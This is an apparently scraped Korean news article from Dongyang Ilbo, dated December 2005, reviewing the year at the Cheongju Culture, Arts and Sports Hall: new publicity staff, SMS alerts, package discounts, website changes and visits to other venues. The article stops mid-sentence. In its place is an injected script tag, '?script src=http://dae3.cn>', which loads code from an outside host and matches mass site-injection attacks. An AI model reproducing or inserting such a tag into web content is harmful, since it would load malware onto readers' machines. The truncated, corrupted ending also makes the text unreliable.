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제목	[동양일보]청주시문화예술체육회관 2005년 결산】예술인 터전에서 주민의 장으로 거듭나
내용	【청주문화예술체육회관 2005년 결산】예술인 터전에서 주민의 장으로 거듭나 등록시간 : 2005-12-15 09:39:20. 조회수 : 1026 ◇새롭게 거듭난 청주예술의전당 2005년은 청주시문화예술체육회관(이하 청주시문예회관)의 역사상 가장 괄목할만한 발전과 변화를 보여준 한 해였다. 무엇보다 올해는 청주문예회관의 대표적인 문예시설인 ‘청주예술의전당’의 개관 10주년이 되는 의미있는 해로. 이에 걸맞게 활기 넘치고 시민들에게 사랑받는 청주예술의전당으로 거듭나겠다는 목표 아래 여러 가지 변혁을 시도했으며 다양한 행사들을 추진했다. 우선 공무원 5명이 모든 공연에 대한 업무를 진행했던 기존의 방식에서 한 단계 진보해 올해 3월부터 ‘기획 홍보’담당자를 기용해 공연과 관련된 업무를 전문적으로 추진하도록 했다. 또 지방문예회관 활성화를 위해 ‘아트 프로그램 마켓(APM)’을 통해 유치한 공연들을 청주예술의전당 개관 10주년이라는 명분에 맞게 ‘청주예술의전당 2005 아트페스티벌’이라는 하나의 축제 형식으로 꾸며 시민들의 적극적인 참여를 유도했으며. 시립예술단의 공연 역시 예매없이는 관람할 수 없을 정도로 좌석점유율을 높이는 쾌거를 이룩했다. 특히 관객에 대한 서비스 수준의 향상과 만족도를 높인 점 또한 올해의 성과라 할 수 있다. ◇청주시문예회관의 2005년 활동보고서 첫째. 다양한 홍보채널을 개발하고 홍보 메뉴얼을 체계화시켰다. 청주예술의전당 유료 회원인 ‘예술가족’과 설문조사 혹은 명함 접수를 한 회원들에게 휴대폰 문자로 공연 소식을 알려주는 SMS서비스 등은 올해 처음 시작한 홍보 방법이다. 둘째. 새로운 마케팅 활동을 들 수 있다. 몇 개의 공연을 패키지로 묶어. 패키지 공연을 구입할 경우에는 할인율을 적용하는 패키지 할인을 시도했으며. 청주지역의 인터넷 동호회나 카페. 지역의 대기업에 공연 소식을 제공해 단체관람을 유도. 몇몇 지정홍보처와의 제휴마케팅을 통해 제휴 할인 서비스를 제공하기도 했다. 셋째. 홈페이지 개편 및 전산발권 설문조사 등을 통해 관객위주의 서비스 환경조성과 기획 및 홍보의 기초자료를 확보했다. 넷째. 타 공연장 견학을 통한 케이스 스터디와 벤치마킹이다 서울예술의전당. 국립극장. LG아트센터. 대전 문화예술의전당 등 모범이 될 만한 타 공연장을 수시 방문해 공연장 운영 및 서비스 실태·공연장 시설?script src=http://dae3.cn>
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